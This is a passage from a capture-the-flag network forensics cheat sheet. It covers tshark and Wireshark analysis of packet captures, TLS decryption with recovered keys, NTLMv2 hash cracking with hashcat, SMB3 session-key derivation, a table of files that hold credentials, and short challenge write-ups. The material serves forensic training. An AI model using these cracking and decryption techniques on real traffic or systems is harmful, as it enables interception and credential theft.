# Wireshark: Edit → Preferences → Protocols → TLS → RSA keys list
# IP: 127.0.0.1, Port: 443, Protocol: http, Key File: server.key
# Or via tshark:
tshark -r capture.pcap -o "tls.keys_list:127.0.0.1,443,http,server.key" -Y httpMethod 3 — Weak RSA key factoring (see also linux-forensics.md):
# Extract certificate from PCAP
tshark -r capture.pcap -Y "tls.handshake.type==11" -T fields -e tls.handshake.certificate | head -1
# Factor weak modulus, generate private key with rsatool
python rsatool.py -p <p> -q <q> -e 65537 -o server.key
# Import key into WiresharkSSL handshake components needed for decryption: 1. client_random — sent in ClientHello 2. server_random — sent in ServerHello 3. Pre-master secret (PMS) — encrypted in ClientKeyExchange with server's RSA public key
Key insight: Look for keylog files (.log, sslkeys.txt) in challenge artifacts. If the challenge gives you a private key, use it directly. For weak RSA keys in certificates, factor the modulus to derive the private key.
---
Wireshark Basics
# Filters
http.request.method == "POST"
tcp.stream eq 5
frame contains "flag"
# Export files
File → Export Objects → HTTP
# tshark
tshark -r capture.pcap -Y "http" -T fields -e http.file_data
tshark -r capture.pcap --export-objects http,/tmp/http_objects---
Port Scan Analysis
# IP conversation statistics
tshark -r capture.pcap -q -z conv,ip
# Find open ports (SYN-ACK responses)
tshark -r capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==1" \
-T fields -e ip.src -e tcp.srcport | sort -u---
Gateway/Device via MAC OUI
# Extract MAC addresses
tshark -r capture.pcap -Y "arp" -T fields \
-e arp.src.hw_mac -e arp.src.proto_ipv4 | sort -u
# Vendor lookup
curl -s "https://macvendors.com/query/88:bd:09"---
WordPress Reconnaissance
Identify WPScan:
tshark -r capture.pcap -Y "http.user_agent contains \"WPScan\"" | head -1WordPress version:
cat /tmp/http_objects/feed* | grep -i generatorPlugins:
tshark -r capture.pcap \
-Y "http.response.code == 200 && http.request.uri contains \"wp-content/plugins\"" \
-T fields -e http.request.uri | sort -uUsernames (REST API):
cat /tmp/http_objects/*per_page* | jq '.[].name'---
Post-Exploitation Traffic
Step 1: TCP conversations
tshark -r capture.pcap -q -z conv,tcpStep 2: Established connections (SYN-ACK)
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1" \
-T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport | sort -uStep 3: Follow TCP stream
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream_number>"Reverse shell indicators:
bash: cannot set terminal process groupbash: no job control in this shell- Shell prompts like
www-data@hostname:/path$
---
Credential Extraction
High-value files:
| Application | File | Format |
|---|---|---|
| WordPress | wp-config.php | define('DB_PASSWORD', '...') |
| Laravel | .env | DB_PASSWORD= |
| MySQL | /etc/mysql/debian.cnf | password = |
# Search shell stream for credentials
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream>" | grep -i "password"---
SMB3 Encrypted Traffic
Step 1: Extract NTLMv2 hash
tshark -r capture.pcap -Y "ntlmssp.messagetype == 0x00000003" -T fields \
-e ntlmssp.ntlmv2_response.ntproofstr \
-e ntlmssp.auth.usernameStep 2: Crack with hashcat
hashcat -m 5600 ntlmv2_hash.txt wordlist.txtStep 3: Derive SMB 3.1.1 session keys (Python)
from Cryptodome.Cipher import AES, ARC4
from Cryptodome.Hash import MD4
import hmac, hashlib
def SP800_108_Counter_KDF(Ki, Label, Context, L):
n = (L // 256) + 1
result = b''
for i in range(1, n + 1):
data = i.to_bytes(4, 'big') + Label + b'\x00' + Context + L.to_bytes(4, 'big')
result += hmac.new(Ki, data, hashlib.sha256).digest()
return result[:L // 8]
# Compute session key
nt_hash = MD4.new(password.encode('utf-16le')).digest()
response_key = hmac.new(nt_hash, (user.upper() + domain.upper()).encode('utf-16le'), hashlib.md5).digest()
key_exchange_key = hmac.new(response_key, ntproofstr, hashlib.md5).digest()
session_key = ARC4.new(key_exchange_key).encrypt(encrypted_session_key)
# Derive encryption keys
c2s_key = SP800_108_Counter_KDF(session_key, b"SMBC2SCipherKey\x00", preauth_hash, 128)
s2c_key = SP800_108_Counter_KDF(session_key, b"SMBS2CCipherKey\x00", preauth_hash, 128)Step 4: Decrypt (AES-128-GCM)
def decrypt_smb311(transform_data, key):
signature = transform_data[4:20]
nonce = transform_data[20:32]
aad = transform_data[20:52]
encrypted = transform_data[52:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
cipher.update(aad)
return cipher.decrypt_and_verify(encrypted, signature)---
5G/NR Protocol Analysis
Wireshark setup:
- Enable: NAS-5GS, RLC-NR, PDCP-NR, MAC-NR
SMS in 5G (3GPP TS 23.040):
| IEI | Format |
|---|---|
| 0x0c | iMelody (ringtone) |
| 0x0e | Large Animation (16×16) |
| 0x18 | WVG (vector graphics) |
iMelody to Morse:
- Notes like
c4c4c4r2encode dots/dashes
---
Email Headers
- Check routing information
- Look for encoded attachments (base64)
- MIME boundaries may hide data
---
USB HID Stenography/Chord PCAP (UTCTF 2024)
Pattern (Gibberish): USB keyboard PCAP with simultaneous multi-key presses = stenography chording.
Detection: Multiple simultaneous USB HID keys (6+ at once) in interrupt transfers. Not regular typing.
Decoding workflow: 1. Extract HID reports from PCAP 2. Detect simultaneous key states (multiple keycodes in same report) 3. Map chords to Plover stenography dictionary 4. Install Plover, use its dictionary for translation
# Extract USB HID data
tshark -r capture.pcap -Y "usb.transfer_type == 1" -T fields -e usb.capdata---
BCD Encoding in UDP (VuwCTF 2025)
Pattern (1.5x-engineer): "1.5x" hints at the encoding ratio.
BCD (Binary-Coded Decimal): Each nibble (4 bits) encodes one decimal digit (0-9). Two digits per byte vs one ASCII digit per byte → BCD is 2x denser than ASCII decimal. The "1.5x" name refers to the challenge-specific framing: 3 BCD bytes encode 6 digits which represent 2 ASCII bytes (3:2 ratio).
Decoding:
def bcd_decode(data):
result = ''
for byte in data:
high = (byte >> 4) & 0x0F
low = byte & 0x0F
result += f'{high}{low}'
return result
# UDP sessions differentiated by first byte
# Session 1 = BCD-encoded ASCII metadata with flag
# Session 2 = encrypted DOCXLesson: Challenge name often hints at encoding ratio or technique.
---
HTTP File Upload Exfiltration in PCAP (MetaCTF 2026)
Pattern (Dead Drop): Small PCAP with TCP streams containing HTTP traffic. Exfiltrated data uploaded as a file via multipart form POST.
Quick triage:
# Count packets and protocols
tshark -r capture.pcap -q -z io,phs
# List HTTP requests
tshark -r capture.pcap -Y "http.request" -T fields -e http.request.method -e http.request.uri -e http.host
# Export all HTTP objects (files transferred)
tshark -r capture.pcap --export-objects http,/tmp/http_objects
ls -la /tmp/http_objects/
# Follow specific TCP streams
tshark -r capture.pcap -q -z "follow,tcp,ascii,0"
tshark -r capture.pcap -q -z "follow,tcp,ascii,1"Extraction workflow: 1. Export HTTP objects — uploaded files are extracted automatically 2. Check for multipart form-data POST requests (file uploads) 3. Look for unusual User-Agent strings (e.g., DeadDropBot/1.0) indicating automated exfiltration 4. Extracted files may be images (PNG/JPEG) with flag text rendered visually — open and inspect
Key indicators of exfiltration:
- POST to
/uploadendpoints - Non-standard User-Agent strings
- Small number of packets but containing file transfers
- "Dead drop" pattern: attacker uploads file to web server for later retrieval
Lesson: Always start with --export-objects to extract transferred files before deep packet analysis. The flag is often in the exfiltrated file itself.
---
TLS Master Key Extraction from Coredump (PlaidCTF 2014)
Pattern: Given a PCAP with HTTPS traffic and a coredump from the server/client process, extract the TLS master key from OpenSSL's in-memory session structure to decrypt the traffic.
Extraction workflow:
1. Find the TLS Session ID from the handshake in Wireshark (visible in plaintext in the ClientHello/ServerHello) 2. Search the coredump for the session ID bytes:
# Search for session ID in coredump
grep -c '\x19\xAB\x5E\xDC\x02\xF0\x97\xD5' corefile
hexdump -C corefile | grep --before=5 '19 ab 5e dc'3. In OpenSSL's ssl_session_st, master_key[48] is stored immediately before session_id[32]. Read the 48 bytes before the session ID match.
4. Create a Wireshark pre-master-secret log file:
RSA Session-ID:<hex_session_id> Master-Key:<hex_master_key>5. Load in Wireshark: Edit → Preferences → Protocols → TLS → (Pre-)Master-Secret log filename
Key insight: OpenSSL stores master_key[48] directly before session_id[32] in ssl_session_st. Search the coredump for the session ID (from the TLS handshake), then read the 48 bytes before it. This works with coredumps, memory dumps, and Volatility memory extractions.
---
Split Archive Reassembly from HTTP Transfers (ASIS CTF Finals 2013)
Pattern: PCAP contains multiple HTTP file transfers with MD5-hash filenames, all the same size except one smaller file. Files are fragments of a split archive (e.g., 7z) that must be reassembled in order. A separate TCP stream contains a chat conversation with the archive password.
Identification:
- Multiple HTTP-transferred files with uniform size (e.g., 61440 bytes) and one smaller trailing fragment
- First file has an archive magic number (e.g.,
7zheader37 7A BC AF 27 1C) - Cover traffic and multiple ports used to obscure the transfers
- Apache directory listing in PCAP provides file modification timestamps
Reassembly workflow:
1. Extract all HTTP objects and identify fragments:
# Export HTTP objects
tshark -r capture.pcap --export-objects http,/tmp/http_objects
ls -la /tmp/http_objects/
# Check first file for archive magic number
xxd /tmp/http_objects/d33cf9e6230f3b8e5a0c91a0514ab476 | head -1
# 00000000: 377a bcaf 271c ... → 7z archive header2. Determine fragment order from Apache directory listing timestamps in PCAP:
# Extract the directory listing page
tshark -r capture.pcap -Y "http.response and http.content_type contains html" \
-T fields -e http.file_data | head -1
# Parse modification timestamps from the HTML table, sort chronologically3. Concatenate fragments in timestamp order:
# Order files by modification timestamp (earliest first, smallest file last)
cat d33cf9e6230f3b8e5a0c91a0514ab476 \
57f18f111f47eb9f7b5cdf5bd45144b0 \
1e13be50f05092e2a4e79b321c8450d4 \
... \
c68cc0718b8b85e62c8a671f7c81e80a > archive.7z4. Extract password from TCP conversation stream:
# Follow TCP streams to find chat with key exchange
tshark -r capture.pcap -q -z "follow,tcp,ascii,0"
# Look for "secret key" / "part N" messages, concatenate all parts5. Decompress with recovered password:
7z x archive.7z -p"M)m5s6S^[>@#Q3+10PD.KE#cyPsvqH"Key insight: When PCAP contains many same-sized file transfers, suspect a split archive. The fragment order is not the download order — look for an Apache/nginx directory listing page in the PCAP whose modification timestamps provide the correct reassembly sequence. The smallest file is the trailing fragment.
---
See also: network-advanced.md for advanced network forensics techniques (packet interval timing encoding, USB HID mouse/pen drawing recovery, NTLMv2 hash cracking, TCP flag covert channels, DNS steganography, multi-layer PCAP with XOR, Brotli decompression bomb seam analysis, SMB RID recycling, Timeroasting MS-SNTP).